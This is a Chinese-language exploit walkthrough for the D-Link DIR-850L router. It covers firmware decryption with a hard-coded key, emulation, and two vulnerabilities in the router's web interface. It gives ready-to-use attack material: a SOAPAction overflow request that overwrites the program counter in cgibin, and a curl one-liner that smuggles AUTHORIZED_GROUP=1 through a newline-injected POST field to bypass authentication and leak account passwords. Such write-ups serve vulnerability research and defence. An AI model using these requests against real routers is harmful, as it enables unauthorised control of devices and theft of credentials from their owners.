固件下载:
ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVA/DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP
ftp://ftp2.dlink.com/PRODUCTS/DIR-850L/REVB/DIR-850L_REVB_FIRMWARE_2.07.B05_WW.ZIP
我们用binwalk分析一下1.14固件
iot@pwn:~/Desktop/tools/firmadyne$ binwalk DIR-850L_REVA_FIRMWARE_1.14.B07_WW.ZIP
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 Zip archive data, at least v2.0 to extract, compressed size: 94426, uncompressed size: 104699, name: DIR-850L_REVA_RELEASENOTES_1.14.B07_EN_WW.PDF
94501 0x17125 Zip archive data, at least v2.0 to extract, compressed size: 9628229, uncompressed size: 9678992, name: DIR850LA1_FW114b07WW.bin
9722945 0x945C41 End of Zip archive, footer length: 22
我们再用binwalk分析一下2.07固件
iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
我们发现什么信息也获取不到,应该是被加密了,我们解密一下
这是解密固件的程序:
/*
* Simple tool to decrypt D-LINK DIR-850L REVB firmwares
*
* $ gcc -o revbdec revbdec.c
* $ ./revbdec DIR850L_REVB_FW207WWb05_h1ke_beta1.bin wrgac25_dlink.2013gui_dir850l > DIR850L_REVB_FW207WWb05_h1ke_beta1.decrypted
*/
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#define USAGE "Usage: decimg <filename> <key>\n"
int main(int argc,
char **argv)
{
int i, fi;
int fo = STDOUT_FILENO, fe = STDERR_FILENO;
if (argc != 3)
{
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
if ((fi = open(argv[1], O_RDONLY)) == -1)
{
perror("open");
write(fe, USAGE, strlen(USAGE));
return (EXIT_FAILURE);
}
const char *key = argv[2];
int kl = strlen(key);
i = 0;
while (1)
{
char buffer[4096];
int j, len;
len = read(fi, buffer, 4096);
if (len <= 0)
break;
for (j = 0; j < len; j++) {
buffer[j] ^= (i + j) % 0xFB + 1;
buffer[j] ^= key[(i + j) % kl];
}
write(fo, buffer, len);
i += len;
}
return (EXIT_SUCCESS);
}
iot@pwn:~/Desktop/iot$ gcc -o revbdec revbdec.c
iot@pwn:~/Desktop/iot$ ./revbdec DIR850LB1_FW207WWb05.bin wrgac25_dlink.2013gui_dir850l > DIR850LB1_FW207WWb05.decrypted
iot@pwn:~/Desktop/iot$ ls
DIR850LB1_FW207WWb05.bin dump1090 revbdec.c
DIR850LB1_FW207WWb05.decrypted DVRF rtl-sdr
DIR-850L_REVA_FIRMWARE_1.14.B07_WW revbdec
iot@pwn:~/Desktop/iot$ binwalk DIR850LB1_FW207WWb05.decrypted
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 DLOB firmware header, boot partition: "dev=/dev/mtdblock/1"
10380 0x288C LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 5184868 bytes
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 10517760 bytes; big endian size: 8232960 bytes
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8231815 bytes, 2677 inodes, blocksize: 131072 bytes, created: 2016-03-29 04:08:14
分析一下固件,是Squashfs filesystem,我们用binwalk -Me将固件解压
然后用firmdyne模拟固件
漏洞文件位于squashfs-root/htdocs/cgibin
先看下保护:
[*] '/squashfs-root/htdocs/cgibin'
Arch: mips-32-big
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=OLnLaWBI8S
Connection: close
汇编:
0x00414130 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv 0x00414134 0320f809 jalr t9 0x00414138 24847dac addiu a0, a0, 0x7dac ; HTTP_SOAPACTION 0x0041413c 3c040042 lui a0, 0x42 0x00414140 8fbc0020 lw gp, 0x20(sp) 0x00414144 2484615c addiu a0, a0, 0x615c 0x00414148 8f998410 lw t9, -0x7bf0(gp) ; [0x43ad50:4]=0x4251e0 sym.imp.getenv 0x0041414c 0320f809 jalr t9 0x00414150 00408821 move s1, v0 ; HTTP_SOAPACTION saved to s1 ... ... ... 0x00414a14 02402021 move a0, s2 ; arg1 (dest) 0x00414a18 8fbc0020 lw gp, 0x20(sp) 0x00414a1c 8f9982b0 lw t9, -0x7d50(gp) ; [0x43abf0:4]=0x4253e0 sym.imp.strcat 0x00414a20 0320f809 jalr t9 ; Call to strcat 0x00414a24 02202821 move a1, s1 ; arg2 (src)
伪代码:
这个漏洞是由于使用strcat()函数没有限制长度引起的,此漏洞能够覆盖PC,从而控制程序的执行流,允许任意代码执行。在处理HTTP_SOAPACTION内容时,getenv获取环境变量值,但没有长度限制,将其拼接在 HNAP_AUTH后,超过547字节后,将覆盖PC
POC:
POST /HNAP1/ HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:49.0) Gecko/20100101
Firefox/49.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: text/xml; charset=utf-8
SOAPAction:
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXAAAA
HNAP_AUTH: BBD0605AF8690024AF8568BE88DD7B8E 1482588069
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.1/info/Login.html
Content-Length: 306
Cookie: uid=kV8BSOXCoc
Connection: close
漏洞点位于 /htdocs/web/getcfg.php
这里有个读取文件的漏洞,要求GETCFG_SVC可控,从而利用dophp函数进行文件读取。
要想进入这个函数首先使is_power_user 函数返回值为1,只有当全局变量AUTHORIZED_GROUP>=0的时候,函数才会返回1,全局变量 AUTHORIZED_GROUP 是由cgibin中传入的,下面我们分析一下cgibin文件
cgibin首先判断请求类型(HEAD、GET、POST)
我们定位到cgibin处理post请求的地方,发现调用了cgibin_parse_request函数
cgibin_parse_request在处理http请求的时候,经过sess_validate 验证的数据,赋值给 AUTHORIZED_GROUP ,因此可以非授权用户可以直接给AUTHORIZED_GROUP赋值来绕过验证
我们可以看出在调用 sobj_add_char 函数时,会用0xA,('\ n') 来分隔参数
所以我们构造的poc为
curl -d "SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1" "http://[IP]/getcfg.php" curl -d :使用POST提交参数 SERVICES=DEVICE.ACCOUNT:构造DEVICE.ACCOUNT.xml.php配置文件 %0a:URL编码,表示换行
可以看出成功泄露账户密码,由于我模拟的固件没设置密码,所以初始密码为空